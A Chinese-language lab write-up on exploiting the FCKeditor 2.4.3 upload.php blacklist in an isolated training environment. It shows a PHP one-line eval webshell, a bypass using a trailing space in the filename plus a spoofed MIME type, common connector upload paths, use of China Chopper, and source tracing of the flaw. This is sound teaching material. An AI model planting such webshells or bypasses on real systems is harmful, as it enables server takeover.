FCKeditor 2.4.3文件上传漏洞 ——合天网安实验室学习笔记
实验链接FCKeditor是一款开放源码的文本编辑器,其2.4.3版本upload.php文件使用黑名单进行文件校验,通过实验学习如何绕过黑名单检测,上传恶意文件。链接:http://www.hetianlab.com/expc.do?ce=374758bd-360d-44ac-8db5-a60ac5c25866实验简介实验所属系列: Web安全实验对象: 本科/专科信息安全专业相关课...
实验链接
FCKeditor是一款开放源码的文本编辑器,其2.4.3版本upload.php文件使用黑名单进行文件校验,通过实验学习如何绕过黑名单检测,上传恶意文件。
链接:http://www.hetianlab.com/expc.do?ce=374758bd-360d-44ac-8db5-a60ac5c25866
实验简介
实验所属系列: Web安全
实验对象: 本科/专科信息安全专业
相关课程及专业: 计算机基础、计算机网络、PHP
实验类别: 实践实验类
预备知识
-
编辑器漏洞
常见的文本编辑器有FCKeditor、Ewebeditor、UEditor、KindEditor、XHeditor等,它们包含的功能类似,如图片上传、视频上传、远程下载等。使用这类编辑器减少了程序开发的时间,但也存在通用性漏洞带来的危害。
-
漏洞介绍
FCKeditor/fckeditor/editor/filemanager/upload/php/upload.php文件上传漏洞。
漏洞修复:upload.php文件使用黑名单校验,可以根据需要的类型修改为白名单参数。
-
FCKeditor介绍
FCKeditor是一款开放源码的HTML文本编辑器,可以为用户提供微软office软件一样的在线文档编辑服务。FCKeditor不需要安装任何形式的客户端,且兼容绝大多数主流浏览器,支持PHP、jsp、asp、python等编程环境。
-
FCKeditor常用上传地址
fckeditor/editor/filemanager/connectors/test.html
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
fckeditor/editor/filemanager/upload/test.html
fckeditor/editor/filemanager/browser/default/connectors/test.html
fckeditor/editor/filemanager/connectors/uploadtest.html
实验目的
通过实验掌握FCKeditor编辑器文件上传漏洞的原因和利用方法。
实验环境
-
服务器:Windows 10 + FCKeditor2.4.3、ip:10.1.1.100
-
FCKeditor2.4.3目录:C:\phpStudy\WWW\fckeditor-master\
-
工具:phpStudy、Firefox、sublime text2、burpsuite、中国菜刀
实验步骤
步骤一
任务描述:2.4.3版本存在版本信息泄露,通过两种方法查看FCKeditor版本信息。
- 浏览器访问http://10.1.1.100/fckeditor-master/editor/dialog/fck_about.html
- 浏览器访问http://10.1.1.100/fckeditor-master/_whatsnew.html
步骤二
任务描述:FCKeditor 2.4.3文件上传漏洞利用。
浏览器访问 “http://10.1.1.100/fckeditor-master/editor/filemanager/browser/default/connectors/test.html”
需自己在桌面上创建test.php文件, 内容为一句话木马:“<?php @eval($_POST['upload']);?>”。
然后【Connector】选择PHP,然后直接上传PHP文件会出现提示:
表示不能上传PHP类型的文件。
重新上传PHP文件并用burpsuite抓包:
burpsuite详细教程可参考我的另一篇笔记:burp进行暴力破解
采用空格绕过,即修改文件名为“test.php ”,并修改MIME类型“image/png”:
将修改后的报文发送至Repeater,GO:
Forward后网页出现提示:
文件上传成功。
关闭burpsuite的intercept,点击页面【Get Folders and Files】,可以看到路径直接显示在页面中:
使用菜刀工具执行一句话木马文件:
首先将代理服务器取消,改回原本设置:
注:工具在C:\tools\中国菜刀\文件夹内
添加地址:“http://10.1.1.100/zf-smarty/public/uploads/file/test.php”
在【POST输入框】中填写需要执行的命令"upload=phpinfo();"并提交:
页面显示:
???没有反应???
不管了,尝试继续向下,应该没有影响(事实证明没有影响)。
使用菜刀工具连接目标服务器。
在空白处右键->添加:
地址的两列分别填写"http://10.1.1.100/zf-smarty/public/uploads/file/test.php"、“upload”
就可找到一句话木马所在文件了。
步骤三
任务描述:FCKeditor 2.4.3文件上传漏洞分析。
请求为php/connector.php?Command=GetFolders And Files&Type=File&CurrentFolder=/,所以打开\fckeditor-master\editor\filemanager\browser\default\connectors\php\connector.php文件:
追踪Command参数:
参数$sCommand经过FileUpload函数进行处理:
跟进FileUpload函数\php\commands.php:
发现存在黑名单文件。
继续追踪黑名单\php\config.php文件:
此处可观察到网页所运行上传的文件为黑名单外所有文件,这就是为什么可以利用Windows特性,在文件名后加空白的方法可以绕过黑名单检测。
答题
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)